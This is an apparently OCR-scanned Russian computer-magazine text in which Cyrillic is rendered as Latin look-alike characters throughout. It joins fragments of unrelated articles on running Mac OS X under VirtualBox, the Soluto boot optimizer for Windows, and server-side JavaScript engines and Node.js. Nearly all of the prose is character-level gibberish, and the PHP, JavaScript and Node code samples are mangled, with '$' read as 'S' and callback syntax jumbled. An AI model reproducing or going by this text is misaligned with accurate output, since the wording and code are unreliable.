Kak Ha camoM Mac'e, 1 He Tak BbICTPO, Kak B cily4ae XakuMHTOLWa, HO
npv 3ToM BnoaHe koMdopTHO. B alidopun oT Toro, 4To He HAAO MyYUTb-
€S C KeKCTaMM U MPOYMMU LaMaHCTBaMM, MOXHO [axe He 3aMeTuTb
OTCYTCTBWE 3BYKa — B CUCTEME HET fpaiiBepa AN 3BYKOBOr0 KOHTPOSI-
nepa ICH AC97, kotopsblit amynupyeT VirtualBox. BepoaTHo, atoT dakT
CUJIbHO HaMnpsran sHTY3MacToB, NO3TOMY Ha GopyMe BUPTyanku ObICTpo
nosiBuAnCh HeobxoarMble aposa. [lobpOTHbIV YCTaHOBLLVK, JOCTYMHbINA
Ha forums.virtualbox.org/viewtopic.php?f=4&t=30843, n3basut pnaxe oT

BO3HM C py4Hoi npaskol kext'os. [pocTto ckavait PKG-daiin, 3anyctu
ero u nepesanyctu cuctemy. [ToMUMO OTCYTCTBUS 3BYKa MeHs Hanpsra-
no ¢pukcnpoBaHHOe paspelleHue, ycTaHoBneHHoe B rocteBoit OC, pas-
Hoe 1024x768. K cyacTbio, 1 [na 3TOr0 eCTb ManeHbKWIA XMHT, KOTOPbIN
onsTb e HeobxoArMo NpoBepHYTh B KOHWMre BupTyanku. OTkpbiBaeM
XML-daiin B TekcToBOM pefaktope n nocne Bcex ExtraDataltem pgobas-
NI9eM HOBYIO CTPOKY:

<ExtraDataltem name="VBoxInternal2/EfiGopMode"

value="N"/>

MapameTtp N — 370 yncna ot 0 fo 4, o3HadvalolMe paspeLleHuns
640x480, 800x600, 1024x768, 1280x1024, 1440x900 cooTBeTCTBEHHO.

C noMolLbio 3TON CTPOKM Mbl yKa3blBaeM, Y4TO BUPTyanbHas MallvHa
[OSKHa MCNoNb30BaTb Tak Ha3biBaeMblt VirtualBox EFI. EFI — 370
Extensible Firmware Interface, HoBbI MHAYCTPMANbHbBIN CTaHAAPT,
KoTopbli fonxeH 3aMeHnTb BOC B kKayecTBe 0CHOBHOMO UHTEpdelica.
YBbl, B paMKax UCMofb3yeMoro B1pTyansHoi Malwnroi EFI gpyrue pas-
pelleHns He nogaepxwusatoTtcs, Ho gaxe 1440x900 BnonHe gocTaTtoyHo
ans komdopTtHoi paboTel. BoT yero noka He xBaTaeT, Tak 370 Nof-
nepxkun Hagctponkun Guest Additions, ¢ NoMoLLLbio KOTOPOWA, Hanpwm-
Mep, MOXHO O4eHb NMpocTo 0bMeHUBaTbCS daiinamMn Mexay XoCToBOM

v rocTeBoll MawwHon. Cellvyac ans 3Toro NpMAETCH UCMONb30BaTh
npotokon SMB. [Ins 3T0ro cHayana HyxHo ero Bko4nTb. [lepexoanm
B HacTpoiku: «MeHio > CucteMHble HacTpoikn > HTepHeT n bec-
nposBofHas ceTb - 06w gocTyn» u BrItovaem «0bwwnit goctyn

Kk darinam». B «napameTtpax» HeobxoaMMo akTMBMUPOBaThL MPOTOKO
SMB. Tenepb k noboit Windows-MallmHe ¢ pacliapeHHbIMK pecyp-
caMmy MOXHO MOAKMOYNTLCH Yepe3 MeHto «[lepexos = lMogknoyeHne
K cepsepy». Hapgo nuwb ykasaTb afpec XocTa B afpecHOl CTpoke:
smb://10.0.2.2. Kctatv rosops, 3Haverune 10.0.2.2 HecnyyaiiHo: B bonb-
WUHCTBE Cyyaes (To ecTb ¢ ceTeBbIMM HacTpoiikamu VB 1 BupTyans-
HOM MalWMHbI MO yMonYaHwuio) aTo BygeT agpec XoCTOBOM MalMUHbI.

KYNMUTb MAC

Cama no cebe nogpepxka Mac 0S X B kayectse roctesoit OC — 370
oyepepHoln war snepef pebat ns komargbl VirtualBox. Muorue n3

HUX XWBYT 1 paboTaioT B [TuTepe v elle napy neT Hasaf c pajocTbio
nokasblBanu MHe TONbKO YTO BBefeHHyt noanepxky 3D-yckopeHusa
BHYTpU rocteBbix cucteM. [TotoMm noseunca flash-knneHT ana goctyna
K BUPTyafbHbIM MalWwuHaM. Tenepb — HoBas Guya, U ONATbL «MOMHbIN
ynet». C fpyroii cTopoHbl, kak 66l MPoCTo HK BbINIO MOCTaBUTL MaKoCh
nof, BUPTyankon, 3To HUKOTAA He 3aMeHUT HacTosilero Mac'a: bbicTpo-
ro KoMnbloTepa Wan HoyTbyka ¢ MpekpacHbIM 3KpaHOM, YyMOBbIM Tau-
nafnom v fonroi batapeen. lNomHu 06 sToM.3C
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stration Software

No-brainer - remove from boot
f11

y removable (advanced users

KonoHKa peaKTopa

Microsoft's fail, unu noyemy Tak nonro rpy3utca BuHaa?

T

oee

@ Your boot takes 1:09 min.
[f] 42 applications run in your boot,

Required - cannot be removed
{40 apps, 1:04,0 min)

Tata

Bo3MmoxHoCTb pacluvpuTs GYHKLUMOHANBHOCTL

3a cyeT nnaruHoB — 370 Bcerda bonbLuoii ntoc
npunoxexus. Hekotopble U3 NofkIYaeMbIX pac-
WMPeHNIA HaburpatoT Takyto MoMNyAspHOCTb, YTO CO
BpeMeHeM BXOLSAT B COCTaB OPUrMHaNbHOMo Npu-
noxeus. Mpumep baHanbHoM paccyanTensHOCTH
CO CTOPOHbI pa3paboTyKKoB: eCin KTO-TO yKe
peanun3oBan KNaccHyto Gpuuy, KoTopasi MHOMMM Mo
fyle, U cfieflany 3To XOpoLLo, TO Yero e oTka-
3biBaTbCH? Hafjo caenatb ee 4OCTYMHOM BCeM Mo
yMonYaHwio, v 3To ByAeT npaBuibHo. Takoii nog-
X0f, MO4EMy-TO HUKak He npuxuseTcs y Microsoft.
YauBuTeNnbHO, Kak KoMnaHus ymyapsietcs soy-
X1BaTb OrpoMHble babku B pazpaboTky MHOrVX
VHHOBALMOHHbIX GYHKLWMIA, YacTb 13 KOTOPbIX

Mbl Tak 1 He yBuaenu (B3sTs xota Bbl Bonweb-
Hyto daiinosyio cuctemy WinFS), Ho He MoxeT
BKJ/IIOYMTb B COCTaB CBOEV 3MoXasbHOW CUCTEMbI
HECKOSbKO YTUIWT, KOTOPbIE, 4TO COBEPLUEHHO
0Y4eBWAHO, JOMKHbBI B Helt bbITb. A MckpeHHe
pafoBascs 3a pebsT, korga rog Hasag nocTaBun
cebe Windows 7 — cucteMy geicTBUTENBbHO
ynobHylo 1 NprsTHYt0, KoTopast WwycTpo pabotana
1 BbICTPO rpy3unack. YBbl, cervac oHa rpysmtcs
yXe Aaneko He Tak beicTpo. Kak bbl 51 Hi cTapancs
yCTaHaBMBaTh TOSIbKO MUHUMYM MPOBEPEHHOTO
codra [Bce aKkCMeprMeHTbI 5 NPOBOXY TOMIBKO MO,
BWPTYyasKoii), BUHAa Bce pasHo obpocna pasnny-
HBIMV MPUIOXKEHVSIMU, CEpBUCaMI, ApaliBepamy,
4acTb W3 KOTOPbIX BOODLLE yCTaHOBMAACh BTUXaps
BMECTe C ipyrMMu nporpaMmmamut. HeT, 3o Hu B
KoeM cflydae He BMHa Microsoft: He MoxeT xe
KOMMaHWs OTAyBaTbCs 3@ BCE Te XPEHOBO Hanu-
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Bce MPUNOXXEeHNA aBTO3arpy3ku pa3aenfatoTcs Ha NOHATHbIe rpynnbl

CaHHble NMPOrpaMMbl, KOTOPbIE B OFPOMHbIX KOSIN-
yecTBax Nosb30BaTeNb CTaBWT B crcTemy. Ho!
OBbsAcHUTE MHe, NoYeMy B BUHJE HET MPOCTOro

1 NOHATHOIO MHCTPYMEHTa, KOTOPbI MoMor Dbl
NpUBeCTU cucTeMy B 4yBCTBO? Pa3Be xe CNoxHo
BKJII0YMTb B COCTaB YTUAWTY, KOTOPas No3sonsia
bl HaBECTW NOPSAJOK B TOW MYCOpHOI siMe, Ha3bl-
BaeMolt «aBTo3arpyska»? 370 Npu TOM Koaoc-
callbHOM KONW4YecTBe MecT, KoTopoe pa3pabotyu-
KW cucTeMbl 3aboTnKBO NpefycMoTpenu Ans Toro,
4TODbI NPONKMCaTL NPUNOXeHNe UK Bubanoteky
B aBT03arpy3ky (1 4em HenpeMeHHo nosb3yioTcs
He TOJIbKO ManBapb, HO 1 caMble 0bblYHbIE Npu-
noxenus). [la, ectb msconfig — Ho MHorKe n
Mob30BaTENN 3HAIOT, Kak UM Mosb3oBaThCs ?

[la kakol TaM — Kak ero BoobLLe 3anycTuTs?
Mnv noyemy He BKIKOUUTBL B CUCTEMY YTUAUTY
Autoruns ot Sysinternals? loHVMato BO3MOXHYtO
0MacHoCTb: Nporu bosblue NOAXOAAT NPOABN-
HYTbIM M0/1b30BaTENAM, KOTOpble He nobosTcs
yOanuTb nuLiHero. Ho 4To MeluaeT caenath aHa-
JIOTMYHBIIA NPOJYKT, C MofCKa3KaMy ¥ MOHATHBIM
userfriendly nHtepdericom? Penurna? Ham xe
OCTaeTcs nofaratbCs Ha Apyrue peLleHus, Takne
Kkak Soluto (www.soluto.com). ObasaTenbHo ycra-
HoBu ero. [pn nepBoM xe pebyTe KoMmnbloTepa

B JIEBOM HIKHEM Yy Tbl 3aMeTuULLb Hebonbluyto
naHenbKy, B KOTOpol byaeT oTobpaxaTbes 0bLimnii
TaliMep 3arpy3ku CUCTeMbI, a Takke Ha3BaHWs
NporpaMM 1 CepBUCOB, KOTOPbIN B AaHHbI
MOMEHT noArpyxatotcs. Moe BpeMs 3arpy3ku
YXaCHyN0 — 2 MUHYTbI 23 cekyHAbl. CobcTBEHHO,
nepBas GyHKLMS NporpamMMbl — 3To cBoeobpas-

HbIli BeHYMapK, KOTOPbIN 3aMepsieT, CKOJbKO Bpe-
MEHW YXOAMUT Ha 3amyck KaxAoro U3 ajeMeHToB
aBTo3arpy3ku. HakoHel-To MOXHO pa3obpaTbes,
4TO KOHKPETHO TOPMO3UT 1 YBENMYMBAET BPEMS
3arpysku BUHAbI. HTobbl cuTyaLmio MOXHO bbino
pa3pynuTb, BCe 3N1eMeHTbl ya0bHO pa3buTsl Ha
rpynnel «No-brainer», «Potentially reboot»,
«Required». lNepBas rpynna — camas nakomas. B
Hee BXOASAT Te MPOLLeCChl, aBTO3arpy3ki KOTOpbIX
npakTudecky bes onacku MoxHo ynanute. [ng
Kaxgoro KoMrnoHeHTa Soluto BbIBOAWT HebOSb-
Loe onuncaHue, rae NoHATHBIM H3bIKOM 00b-
ACHSETCS, 33 YTO OH oTBeYaeT. Ho cambill cMak
— B pekoMeHfaumsx. 5, Hanpumep, NOHATHS He
1Men, 3a 4To oTBeyaeT cnyxba « WMP Sharing».
YTunuTa xe Ha NPOCTOM aHMNIACKOM A3blke
obbsicHuna, 4to cnyxba npefHasHaveHa ans
TpaHCAALMmM NoTokoBoro Buaeo B CeTb. «Ecau Bbl
He MnaHupyeTe OpraHW30BbIBaTh TPAHCAALNN B
CeTb, aBTO3arpy3ky cepsrca MoXHO OTKIIIO4UTb
N OTNIOXUTL» — BMOJIHE MOHATHas pekoMeHaa-
ums. OTNOXEHHBIN 3anyck, YNOMAHYTbIR B peko-
MeHAaLMKn — 370 ellle ofHa duya, nossonsioLas
peanu3oBaTb 3anyck NPUIOXEHNS He Ha cTapTe
cucTeMbl, @ BO BpeMsi ee npocTos. Takum obpa-
30M, MOXHO [10BUTbCS o4eHb BeicTporo cTapTa
CaMmoii BUHAbI, MPU 3TOM BCe AOMOHUTENbHbIE
npuMouKkm ByayT 3anyckaTbes nosxe. Bropas
rpynna — «Potentially reboot» — Bkntoyaet
3/1eMeHTbI, KOTOpble MOTEHLIMaNbHO MOXHO OMTK-
Mu3vpoBaTh. 1o kpaliHelt Mepe, OHY He BXOAAT
B TpeTbio rpynny («Required») obsazatensHbix
KOMMOHEHTOB, KOTOPble HEMPEMEHHO LOXKHbI
rpy3uTLCS Ha cTapTe cucTeMbl. MiHGopmaums o
MPUHALEXHOCTU KOMMOHEHTOB K TOW VU UHOW
rpynne noArpy>aeTcs U3 oHNaiH 6asbl faHHbIX,
B KOTOPOW akKyMy/SMpyoTCa AaHHble OT pa3ny-
HbIX Nosb3oBaTeneit. bnarogaps Takomy obnaky
paspaboTunku Soluto MoryT cocTaBnsiTh 1 Kop-
pekTMpoBaTh CBOU pekoMeHaauunn. Hackonbko
370 3pdekTnBHO? 3a Napy MUHYT 9 [OBEN BpeMs
3arpy3ku cvcteMsl Ao 51 cekyHabl. Bot. 3

Your boot took

BpeMﬂ 3arpy3Ku nocjie ontMM3nauuu
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MocToponucs, npecnoByToid PHP! lonoi Javal Ctapuyok Perl, Tebe Tak Boo6e
L.aBHO nopa Ha neHcuio. U KaK xe Bbl yxKe goctanu, noncosble Ruby u Python! Bee
3TH 1aBHO 3HaKOMble TEeXHOJIOTMM Y)Ke He TOPKaIOT. 3aTo CeroAHs Mbl NOCMOTPUM Ha
Yype3BblYyaHO NPOrpeccHBHbIM NOAX0A, KOrAa ANA HANUCAHWA CepBEPHOro KoAa 1C-

nonb3yercs... JavaScript.

EcTb npes gna ctaptana. Tenepb Bonpoc: Ha YyeM ero nucatb? KoHeyHo,
ecTb BceMn nobumblin PHP — yto MoxeT BbiTb nerye ang Beb-caiTal
Ho ckaxwu yecTHo, Kak-To He TaHeT, npasaa? Beab uTobbl caenatb yto-
To cTosuee, ronoro PHP He xBaTuT. Cpa3y npuietcs npukpyymBath
ewle 1 AJAX, 4yTobbl LaHHble He3aMeTHO NMOArpyXanuck be3 obHoBNeHNA
BCEW CTpaHuWLbl LEeANKOM, Aa 1 3T0 He pelwuT Bcex npobnem. O Towm,

410 PHP He Tak xopow, Tbl 3afiyMaellbcs B TOT CaMbllii MOMEHT, Koraa

k Tebe pa3oM sloMaHeTcs MHOro Hapoaa. A sce notomy 4to PHP (kak u
nopaensiouiee BONbWUHCTBO APYTMX A3bIKOB, HA KOTOPbLIX CTPOAT CaiiThl)
[axe B HaweM, 4epT nofepu, ABafLATbL NepBOM Beke, paboTatoT no
KNacCcUYecKoi cxeMe «3anpoc-oTBeT». 3anpoc CTpaHuLbl 3acTaBngaeT
Beb-cepBep NoAHATH yKa3aHHbIM CKPUNT, BbIMOJHUTL ero (nuHeinHo,
CTpoKa 3a CTPOKOW BeCb TBOW Kofl), @ pesynbraT Bo3BpaTuTh bpaysepy
knuneHTa. lMocne 3Toro ckpMNT «yMUpaeT», a CNeAyLLNIA Xe 3anpoc
3anycTuT BCO 3Ty afiCKyl MalUMHKY 3aHOBO. A eC/ln Takmx 3anpocoB
ofjHoBpeMeHHo Thicaya? Ctapblin fobpblit nogxon HasbiaeTcs CGlI
(MHTepdelic B3anMoaencTensa Beb-cepsepa 1 MHTeprpeTaTopa A3bika,
Ha KOTOPOM HanwcaHa ctpaHuual. Xutpsie HagcTporikm spoge FastCGl
paclwunpsioT NPOTOKO, No3BONAS M3bexXaTb BbIrpy3KM CKpMnTa nocne
nepsoro 3anpoca. Takum obpasom, Koraa BTOPOI Nofb30BaTeNb 3anpo-
CUT Ty XXe cTpaHuLy, Ans Hero DyaeT yxe BCe roTOBO, OCTAHETCs TOJIbKO
BbIMOJHWUTL CKPMNT C HOBbIMK NapaMeTpaMun. Ho Bce aTu yxuulpeHus —
BCE paBHO He To.

YTO TAKOE XOPOLLUO, A YTO TAKOE NJ10X0

MHorue paspaboTunkun Bcerga cuyntanu JavaScript npocto «npu-
MOoYKo» K Bpay3epy, 34aKknM He0A3bIKOM, KOTOPbIV FOAMTCS pa3Be
41O ANg ynpaBneHuns dopmMamn n manunynuposarnus DOM-pgepesom
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Beb-cTpaHumLubl. HekoTopble 40 CUX NOp AyMatoT, YTO «java» B Ha3BaHWM
uT0-To fa 3HaumT! ;) [ecTBUTeNbHO, A3bIK 0YEHb npocTtoil. Bnpoyem,
HacTosiLMe NPOrpaMMUCTbl JABHO HAYYMINCh TBOPUTH C €r0 MOMOLLbIO
Jypeca, NpefocTaByB HaM noTpscatolle yaobHble OHNalH-cepBuchl,
KOTOPBIMU Mbl €XefHEBHO MoJib3yeMcsi. MHorne 13 Takux npodu
nownu fanblie v, TPE3BO NMOCMOTPEB Ha CaM S3blK W €r0 BO3MOXHO-
CTW, 0cobeHHO Mo YacTu paboTbl C CODLITUAMY, PeLUnAn: @ YTO ecn Ha
JavaScript HanucaTtb cepsep? Tbl NoayYaellb BO3MOXHOCTb HanucaTtb
Ha O[LHOM ¥ TOM e si3blKe BCe YacCTW CalTa: YTO CEPBEPHYI0 YacCTb, YTO
caMy KJIMeHTCKyto cTpaHuuky. Kpome Toro, JS oTnuuHo, npocto nieans-
HO MOAXOAMT ANs pa3Hbix Beb-wTyvek. OH 04eHb NpocToii U OAHOBPE-
MEHHO rMBbKUiA, 4TO NO3BONSET NUCaThb KO B pa3HbiX NapagnrMax: ot
obbiyHoro npoueaypHoro go 00T B cMech ¢ GYHKLMOHANBHBIM CTUAEM.
A rnaBHoe — 370 TOTalbHas aCUHXPOHHOCTb. 3TO 3HAYMT, YTO TBOW

Kog, ByfeT BHINONHATLCS He MociefoBaTesbHO, Kak B cinydae ¢ PHP/
Perl-ckpunTamu, a UMeHHO B TOT MOMEHT, KOrfa afis Hero byayT roToBbl
BCe AaHHble. Benb ansa Beba He Hafo H0MbLWIOW BBIYNCANTENBHON MOLLL-
HOCTV — DonblUyto 4acTb BPEMEHW CepBep 0XWAaeT cobbiTuii Bpoae
nony4YeHus AaHHbiX GopMbl, BbIDOpKM 13 Basbl faHHbIX UK, YTO elle
Xy>xe, oTBeTa Ha 3anpoc k apyromy cepsepy. O6bi4Hbii PHP-ckpunTt

B Takoe BpPeMs MpoCTavBaeT, @ 3HAa4YWT, NpPoCTanBaeT BeChb MNOTOK, He
no3BOJIAS CepBepy 3afeCTBOBATbL €ro A Apyrux nosb3osateneit. B
Takol cuTyauun He cnacaet gaxe Nginx. B cnyyae ¢ JavaScript Tol
MpOCTO yKa3biBaellb, Kakyt GyHKUMIO He0OX0AMMO BbIMOAHUTL, KOrAa
npou3soiaeT onpefdeneHHoe cobuiTue, U Bce. B aTo Bpems apyroit kog
MOXeT CMOKOWHO BbINOAHATLCA. Takas ¢yHKLMs HasbiBaeTcs callback,
nnn obpabotumk cobbiTnin. XoTa NucaTb AeCTBUTENBHO CIOXHbIR KOA B
TakoM CTuIe HeMHOro HeyfobHo, ocobeHHO ecan TBOS GYHKLMA 3aBU-
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Node.js — Be6-cepBep c V8 BHyTpu

CUT OT HeckKobkUX CoBBITUI Cpa3y, HO U AR 3TOrO yXe NpuayMani
cBou dpeiiMBOpPKM, 3a4acTyio ropasfo bonee MOLLHbIE 1 3neraHTHbIe,
uem Bce ot PHP/Ruby/Python.

A K YEMY OHA BOOBLLE, 3TA ACHHXPOHHOCTb?

[lns npuMepa orpaHmnyeHunin NocNea0BaTeNbHOrO BbIMOJHEHUS KOAa
paccMOTpMM [iBa TUMNOBbLIX NpuMepa kofa Ha PHP n JavaScript,
BbIMOSHAOLWMX O4HO 1 To Xe. HauHeM ¢ niobumMoro PHP:

Sresult = $db->fetchOne('SELECT user_name FROM user_
accounts WHERE id = 1');

echo 'Moe mms: ' . Sresult . ';';

B nepBoii cTpoke Mbl nocbinaem npoctoit SQL-3anpoc k B/ Ha BbIbOP-
Ky UMeHU nonb3osaTend, y kotoporo id = 1.06pat BHMMaHwve: B

3TOM MecTe CKPUMNT 0CTaHaBAMBaeTCs, v chedylollas cTpoka He byneT
BbINOJIHEHA [10 TOFO CaMOro MOMeHTa, noka 3anpoc He byaeT obpabo-
TaH ba3oi1, a pe3ynbTaT He BO3BPATUTCH B MepeMeHHyio $result. da,

B HalleM npumepe 370 ThICAYHbIE JOAN CEKYHAbl, HO B peafbHOCTH 1
3anpockl ropasfo cioxHee, 1 basbl N0 pa3Mepy 3a4acTyio COCTaBASIOT

FVIFa6al7lTbl, M 3anpocoB TakMx MOXeT O4HOBPEMEHHO 6bITb napa Tbicay.

A Tenepb nonpobyem HanwcaTh koA Ha JS, MCNOMb3yst aCUHXPOHHbI
CTUAb:

db.query ('SELECT user_name FROM user_accounts WHERE
id =1,

if (lerr)
1)

sys.log ('llpomorkaeM BHIIOIHeHue ') ;

function (err, res){

sys.log('Moe mMmsi: ' + res);

FOTOBbIE HAPABOTKH

ANfl CEPBEPHOIO JAVASCRIPT

KoHeuHo, Tbl MOXellb MMcaThb KOb C YACTOro ANCTa, YTO 1 AenatoT
MHOTMe npaBusibHble NporpaMMucTsl. OfHako HeMano 13 Takux
NpaBUIIbHbLIX MPOrPaMMIMCTOB co3hanu Ans cebs yaobHble kapkachi
1 HaMeTKW, KoTopble Tenepb MOCTOSIHHO UCMOAbL3YIOT ¥ NpeanaratT
BCEM XenawluM B Buie GpeiiMBopkoB 1 cneundukaymin. Ecan

Tbl BCEPbE3 PELUMA UCMO/Ib30BaTh CEPBEPHbIN JS, TO 3TO OTANYHbIV
cnocob obnerunts cebe XU3Hb.

Narwhal (narwhalis.org) — mMowHoe pelwerue, paboTawLyee nosepx
MHornx JS-nBuxkoB. Takum obpa3oM, nporpaMMmucTaM He Hamo
napuTbCs MO NOBOAY Pa3ANYMs pa3nYHbIX CEPBEPOB — OHW MOTYT
MpOCTO NMcaTb Kof.

CommonJS (commonjs.org) — nonbiTka cTaHAapTM3KpoBaTh naat-
dopmMy 1 fatb obwmin APl gna Bcex ABUXKOB, Npefnaras HU3Koy-
poBHeBbIt API, a Takxe APl ana nofgknoveHns pasinyHblX roToBbIX
Mogaynem.

JSGI (JavaScript gate interface] — paspabotaH cneumanbHbIn Npo-
TOKO/ B3aUMOAENCTBUSA CBA3M Beb-AeMOHa U cepBepHbIX CLEeHa-
pvieB Ha JavaScript. YBbI, cneyudukaLmio noka NOAHOCTbIO NoAAep-
XvBaeT Tonbko npoekT Rhino B okpyXeHun cepsepa jetty.
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MpousBoautenbHocTb Node.js

TyT onaTb Xe co3faeTcs 3anpoc K base JaHHbIX, 0HAKO KPOME CaMmoro
SQL-BbIpaxkeHusa B 3anpoce nepefaetcs eule n dyHKUMa-obpaboTumk
(callback]. 3Ta dyHkuUMa ByaeT BbI3BaHa MMEHHO TOrAa, KOrAa npuaeT
oTBeT 0T 6a3bl AaHHbIX, @ 4,0 3TOF0 MOMEHTa BbIMOJIHEHWE CKPUMNTA HU B
KoeM ciyyae He byaeT ctonopuTtecs. na npumepa B cnegytoueil cTpo-
Ke Mbl MPOCTO BLIBOAMM CTPOKY B KOHCOJIb, YTODbI MOKa3aTb, YTO BbIMNON-
HeHue cLeHapus NpofonxaeTcsa cpasy nocne GpopMmMpoBaHus 3anpoca,
He oxupas ero 3aBepleruns. CobcTBeHHO, B ocHoBe Ntoboro BapuaHTa
cepBepHoro JavaScript 3anoxeHa koHuenuusa cobeituii n callback’os,
To ecTb 0bpaboTunkoB cobbiTnir. Tl MOXellb onMCcbiBaTb COBCTBEHHbIE
cobbiTua. Toraa xof BIMONHEHUS NPUIOXeHUs byaeT 3aBuceTs OT
COBbITWIA, KOTOpble BO3HMKAIOT B pe3yfbTaTe akTMBHOCTW NoJb30BaTeNS
Ha cTpaHuue («popma 3anonHeHa» UK «HoBoe coobuleHne» v T.4.)
WAV TeHEePUPYIOTCA BHYTPU caMoro cepsepa (kak, HanpuMep, B ciydae
c obpauleHvem k 6ase gaHHbIx). Te AeicTBMA, KOTOpble HEOBXOANMO
BbIMOJIHATL B CJly4ae HacTynaeHWs cobbiTuii, onmncbiBalOTCS BHYTPYM
byHKUMIN 06paboTymkoB cobbITUI.

JBUOK, BOT B YEM BOMPOC

Kopoue rosops, ncnonb3osats JavaScript He TONbKO 415 KIMEHTCKOWM
4acTu, HO W Ha CepPBEPHOI CTOPOHE — 3TO XOPOLLO U faxe NpUATHO.
[pyroit Bonpoc — kaknM 06pa3oM 3To BO3MOXHO ocyllecTBUTL? CerogHs
eCTb YeTblpe OCHOBHbIX [BUXKa, KOTOpble NCMOJb3Yi0TCS Ha CepBepax.
Rhino — gBuxok ot komnanun Mozilla, HanucaHHbIR Ha Java n nog-
nepxuBatowmin nocnegHiolo 1.7 Bepcuio ctangapta JS, KOTopbiid K TOMy
e LONoNHAET A3blK CODCTBEHHbIMY pacLUMpeHusMn 1 obbekTamu.
OCHOBHbIM NpPenMyLLECTBOM ABUXKa SBAsSeTCH paboTa noBepx CTaH-
fapTHoit JVM, a 3HauuT, ero MoxXHo 1Ucnosb3oBaThb B Noboll cpefe, rae
paboTaet Java. [pyrviMun cnoBaMu, MoXHO NPUMEHSTb COBPEMEHHbIE
Beb-cepBepbl TvNa jetty, Ho Npu 3ToM NucaTh Ha Nwbumom JS. Keraty,
Rhino npumeHsioT Ha obnayHom xocTuHre ot Google! A BoT ¢ nponsBo-
OUTeNbHOCTbIO cnoxHee. OHa 3aBUCKT, C OQHON CTOPOHbI, OT ABUXKKA U
NpUMEHseMbIX TaM TexHonoruit, spoge JIT-komaunaumu, u oT paboTs
camol Java-mawuHbl. KcTtaTu, MHOTMe TecTepsl, KOTOpble FOBOPSAT, YTO
Rhino o4eHb MefineHHbIN, 3abbIBaIOT, YTO ABUXKOK MMeEET ABa pexunmMa
paboTbl: MHTEeprpeTauun, Koraa CKpUNT Kaxablii pa3 npeobpasyeTcs B
Java 6aiit-kon (aHanoruyro PHP), v komnunaumm, koraa takoe npeob-
pa3oBaHMe NPOUCXOAUT TONbKO pas, a MOTOM MHOFOKPaTHO UCMOMHSA-
eTcs. [MepBbili pexuM BbIrofeH, Koraa Tel 0TNaxuBaelb KO, KOTOPbIi
MeHseTCcs Kaxylo MUHYTY, BTopol bonblie noaxonut ansa paboyelt Bep-
cuu npoekTa, paboTatoLlelt nos Harpyskon.

SpiderMonkey — eule ogunH aBuxok oT Mozilla, Ha aToT pa3 Ha C.
KctaTu, 310 BoobLle nepBLIi B MUpe ABUXOK JS, HanvcaHHbIN elle B
Netscape — cerofHs oH OTKPbIT 1 MCMNOMb3YeTCs B Takux NOMyAspHbIX
npoaykTax kak Firefox, Adobe Acrobat v faxe B 0gHOM 13 3MyNATOPOB
cepBepoB oHnaliH-urpbl Ultima Online. [lanee pa3paboTynku cunbHo
Mognduumnposanu ero, fobasme komnunaumnio JS Hanpsamyio B accem-
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MpuMep acMHXpoHHOro Be6-cepBepa

BnepHbI Kof, U NnepenMeHoBanu B TraceMonkey — MMeHHO 3TOT ABU-
oK mcnonb3yetcsa B BeTke 3.6 Firefox'a. B ocHoBHoM SpiderMonkey
ncnonbayioT B M0, KoTopoe Hanucano Ha C/C++ 1 HyXaaeTca B CKpUM-
ToBOM fA3blke. V13 n3BecTHbIx Npofyktos: Comet-cepsep APE, noSQL B[]
CouchDB, cepsepHas nnatdopma Jaxer n mogynb K Apache mod_js.
Futhark — ato nBuxok ot Opera, KoTopbIi, KpoMe Bpay3epa, Ucnosb-
3yetcs B UX MHHOBaUMoHHOM cepBuce Unite [Tuna BcTpoerHbiii cep-
Bep B KaxnoMm Gpaysepe), a Takxe Ha Ux cepeepax, 06CayxMBaloLiMX
MobunbHbllt bpaysep Opera Mini. XKanb, 4To ABUXOK 3aKpbIT, U €ro
noka HUrge 3a npefenamu camoit Opera He NpYMEHSIOT.

V8 — nBuxok ot Google, koTopbild ncnonbayetcs B Chrome u saBnsaetcs
ocHoBol bygywenn Chrome OS. CerofHsa 3To caMblii KpyToW, DbICTpbIi

Y MOLLHBIN ABUXOK, B KOTOPOM JS-KOoA HanpsiMylo npeobpasyeTcs B
accembriep Lenesoro npoteccopa, 4to No3ponseT 060iT1 No CKOPOCTK
BCe oCTasibHble ABVXKN. KpoMe 3TOro ryrnoBLbl MCMoNb3yloT MHOXECTBO
YXVLLPEHWI ONg 0NTUMU3aLWUK, XPaHAT B NaMAT CKOMMUANPOBAHHbIN
KOZ, ONTUMU3NPYIOT ero Ha neTy (Hanpumep, yaansioT 610KM KOAE, KOTo-
pble Mo pelleHyio KoMnuasTopa Booblle He MOryT ObiTb 3af€/iCTBOBAHDI,
v T.n.). Ha base atoro gsuxka nocTpoeHa camas nonynspHas 1 BoicTpo-
pa3suBatollancs cepeepHas nnatpopma — Node.JS.

NODE.JS

BeposTtHo, uMeHHo nocne Bbixofa Chrome paspaboTynkn cMekHynw,
YTO TaKoWi BbICTPbIV ABUXKOK MOXHO YCMeLIHO MCMoNb30BaTb U Ha cep-
Bepe. [MepBbIM 0MbITOM cTan NpoekT VBcgi, KOTOPLI NPOCTO MO3BONAN
nucaTb cepBepHble clieHapuu, paboTatowme ¢ nobeim Beb-cepBepoM
no ctaHgaptHomy npotokony CGl. JanbHenwme akcnepuMeHTsl Npu-
Benu K poxnaeHuto npoekta Node.js — nonHocTbio camMocToSTEIbHOM
nnathopMbl, BKAKOYAlOLWLER, KpoMe ABUXKA, BCTpoeHHbIi cepsep (HTTP
n TCP/UDP/Unix-soket) v 6asosebiit Habop 6rubnunotek, a Takxe npeso-
CTaBAsiOLLEN MOMHOCTBIO aCUHXPOHHY paboTy ¢ daiinamMu u ceTeBbIMU
YyCTPONCTBaMMU.
[poeKkT pa3BMBaeTCs HacTONbKO BbICTPO M aKTMBHO, YTO YXXe ceilyac
roTOB K MPOMbILWEHHOMY UCMONb30BaHMI0. 3T0, B YaCTHOCTU, AoKa-
3blBaeT onbiT napHen n3s Plurk (asnatckuii aHanor T8uTTepal, koTopbie
NOJHOCTbIO MepeHecnn CBOV comet-cepBep, M3HaYaNbHO HaMVCaHHbIN
Ha Java u connpgHom JBoss Netty, Ha Node.js u, no oT3biBaM, cokpaTu-
nn noTtpebneHne namatu bykBanbHo Ha rurabaiitel. A MacwTabbl y HKX
eule Te — Bonee COTHU ThICAY OAHOBPEMEHHbIX COEANHEHWIA.
3anyctute HTTP-cepBep, cnocobHbli 06pabaTbiBaTh aCUHXPOHHO
ThICAYM MOAKIIOYEHWNI — 3TO HECKOSIbKO CTPOK KOAaA:

var sys = require('sys'),

http =

http.createServer (function

require('http');
(reqg, res) {

res.writeHead (200, {'Content-Type': 'text/plain'});
res.end('Hello World\n');
}).listen(80, "127.0.0.1");

